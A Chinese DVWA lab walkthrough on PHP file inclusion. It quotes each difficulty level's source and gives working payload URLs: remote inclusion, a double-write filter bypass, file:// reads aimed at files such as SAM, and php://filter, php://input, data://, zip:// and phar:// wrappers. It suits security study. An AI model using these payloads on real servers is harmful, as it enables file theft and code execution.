文件包含漏洞,当我们在一个代码文件想要引入、嵌套另一个代码文件的时候,就是文件包含。

常见的文件包含函数有include require等函数。

这两个函数的区别就是include在包含文件不存在时php代码会继续往下执行,而require则终止php代码的执行

Include:包含一个文件
Include_once:判断文件是否被包含过,一位文件只能包含一次
require:于include相同
require_once:与require_once相同

为什么文件包含有漏洞?

在一般情况下,开发者想要的是包含一个期望的PHP文件,但是攻击者可以包含一些恶意的PHP文件,直接在服务器执行PHP代码

特性:包含的代码会当做PHP文件执行。

文件包含的危害很大,既可以命令执行获取靶机权限,也可以造成信息泄露

文件包含需要在php.ini中开启这两个配置

allow_url_include:允许包含http://、https、ftp://

allow_url_fopen:允许include、require包含http://、ftp://

了解了简单的文件包含,开始DVWA-File Inclusion的攻略

Low

审计源码

<?php

// 获取传入的page
$file = $_GET[ 'page' ]; ?>

从这里可以看出,对page没有进行任何的过滤

kaliWeb服务器写入一个test.php,内容为<?php phpinfo();?>



然后再DVWA靶场test.php文件



http://172.16.1.103/dvwa/vulnerabilities/fi/?page=http://172.16.1.104/test.php



成功执行phpinfo()

文件包含不仅可以执行命令,可以进行信息泄露,如果包含的文件不是php代码,会将文件直接显示

在kali中创建一个a.txt,内容为hello world



可以看到,a.txt内容不是php代码,直接显示了hello world



接着我们看下一关

Medium

审计源码

<?php

// 获取传入 page
$file = $_GET[ 'page' ]; // 将 http:// https:// 转换为空
$file = str_replace( array( "http://", "https://" ), "", $file );
// 将 ../ ..\\ 转化为空
$file = str_replace( array( "../", "..\\" ), "", $file ); ?>

这里将http://、https://、../、..\\转换为了空,但是根据str_replace的特性,只会将转换为空一次,所以我们可以进行双写绕过

http://172.16.1.103/dvwa/vulnerabilities/fi/?page=htthttp://p://172.16.1.104/test.php



成功执行phpinfo()

那么接着看下一关

High

审计源码

<?php

// 获取传参 page
$file = $_GET[ 'page' ]; // 传入 page 只能是以 file 开头或者 include.php 文件
// fnmatch() 查找一个字符串,可以使用shell中的通配符 * ?,匹配成功返回 true,失败返回 False
// 在 fnmatch 前面加入了一个 ! 代表取反,代表就是 如果匹配失败返回为false 取反为true
// 然后打印找不到文件
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

这里要求我们必须是以file开头或者include.php文件,这里可以使用file://协议进行文件包含

在我们使用浏览器打开一个本地的文件时,使用的就是file协议



所以我们就可以包含一个服务器本地的文件,例如常见的危险文件

c:\Windows\System32\config\SAM: Windows密码文件

c:\Windows\php.ini: php.ini文件

这里包含服务器的D:\phpstudy_pro\WWW\user.txt



但是这种操作是不可取的,因为在实战中我们并不知道服务器的文件在哪里,甚至是文件名目录.

这里就利用靶场中同等级File Upload(文件上传)漏洞进行上传图片木马,然后通过反馈文件地址,进行文件包含获取服务器控制权限

见:DVWA-File Upload(文件上传)

Impossible

审计源码

<?php

// 获取传参 page
$file = $_GET[ 'page' ]; // 只能包含 下面这几个文件
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// 退出代码执行
echo "ERROR: File not found!";
exit;
} ?>

可以看到这真是一个明确的决定,代码已经写死了,只能包含上述这几个文件

文件包含常用的协议

在上述中,我们学习了简单的文件包含,在文件包含中,其实还有好多强大协议可以用,我么只是用了一个file://协议

php://filter协议

php://filter协议,可以使用base64编码查看文件内容

这里将DVWA级别设置为Low方便测试

格式为

php://filter/read=convert.base64-encode/resource=文件路径/名

比如包含D:\phpstudy_pro\WWW\user.txt

http://172.16.1.103/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\user.txt



查看成功,破解base64编码的方法有很多,burpsuite的编码模块,还有kali自带的base64命令,python的base64模块



import base64
a = "cm9vdA0KdG9vcg0KYWRtaW5pc3RyYXRvcg0KQWRtaW5pc3RyYXRvcg0Ka2FsaQ0KYWRtaW4NCg== "
print(base64.b64decode(a))



其实呢,也不用费这么大的劲,可以直接读取文件内容的,将read=后面的convert.base64/encode去掉即可

php://filter/read=/resource=文件路径/名



读取成功

php://input协议

php://input协议可以直接执行PHP代码,执行的php代码需要POST方式进行传参

使用burpsuite抓包修改





成功执行

data://协议

data://协议也可以直接执行PHP代码

格式为

data://text/plain,PHP代码

测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=data://text/plain,%3C?php%20phpinfo();?%3E



执行成功

可以使用base64的方式进行提交

格式为

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+



这里错误的原因是在url中+号为空格的意思,在我们提交的base64字符中,最后的字符为8

那么只需要将+的url编码填入即可



通过burpsuite得到+号的url编码为%2b

所以将+替换为%2b

http://172.16.1.103/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b



执行成功

zip:// 压缩流伪协议

我们只需要在zip压缩宝中放入一个文件,内容为php代码即可

例如这里test.zip中的文件名为a.txt,内容为<?php phpinfo();?>



格式为

zip://D:\phpstudy_pro\WWW\test.zip#a.txt

测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=zip://D:\phpstudy_pro\WWW\test.zip%23a.txt

这里本应该输入#号,但是#输入错误,应该是url编码的问题,所以换为了%23为#的URL编码,成功

phar://协议

phar://协议和zip协议极其的类似,只需要将#号换为/即可

phar://D:/phpstudy_pro/WWW/test.phar/a.txt

测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=phar://D:/phpstudy_pro/WWW/test.phar/a.txt



执行成功

compress.zlib//和compress.bzip2://

一个针对gz后缀的文件一个针对bz2的后缀文件

首先看compress.zlib

测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=compress.zlib://D:/phpstudy_pro/WWW/test.tar.gz



然后看compress.bzip2

这里bz2的压缩文件在windows中是不支持压缩的好像,需要在linux中安装bzip2,执行bzip2 -z 文件名才可以压缩



测试:http://172.16.1.103/dvwa/vulnerabilities/fi/?page=compress.bzip2://D:/phpstudy_pro/WWW/a.txt.bz2



如果你的这里执行失败,报错Unable to find the wrapper "compress.bzip2,这样的信息,是没有安装bzip2模块



phpstudy中勾选php_bz2进行安装即可

最新文章

  1. iOS网络2——NSURLSession使用详解
  2. Career path of Bioinformatics
  3. 【leetcode】Partition List(middle)
  4. MyBatis调用存储过程,含有返回结果集、return参数和output参数
  5. iOS模型以及使用
  6. 作业调度框架 Quartz.NET 2.0 StepByStep
  7. all &amp; any
  8. 安卓ListView操作的两种方法
  9. 找第k大数,最坏时间复杂度O(n)
  10. 存储过程与SQL的结合使用
  11. 第七十七节,CSS3前缀和rem长度单位
  12. 每天一个linux命令(55)--at命令
  13. 自定义input默认placeholder样式
  14. 最简单的基于FFmpeg的封装格式处理:视音频复用器(muxer)
  15. BootStrap插件
  16. ajax跨域问题小结
  17. Java知多少(8)类库及其组织结构
  18. linux安装和卸载软件:sudo apt-get install(remove)
  19. formidable模块的使用
  20. UpdatePanel的用法详解

热门文章

  1. 【otter搭建】在Linux下搭建阿里开源otter数据同步平台
  2. 基于Java语言的编码问题了解
  3. iOS加载动态自定义字体
  4. Spring core rce 0day(CVE-2022-22965)视频教程附工具
  5. 基于工业5G网关的建筑机器人应用
  6. 使用Dapr和Tye启动服务
  7. 如何用jupyter打开代码并租用服务器进行运行
  8. BZOJ1008 [HNOI2008]越狱 (快速幂,组合)
  9. bzoj 3106
  10. Loadrunner录制时弹出Microsoft Visual C++ Runtime Library解决方案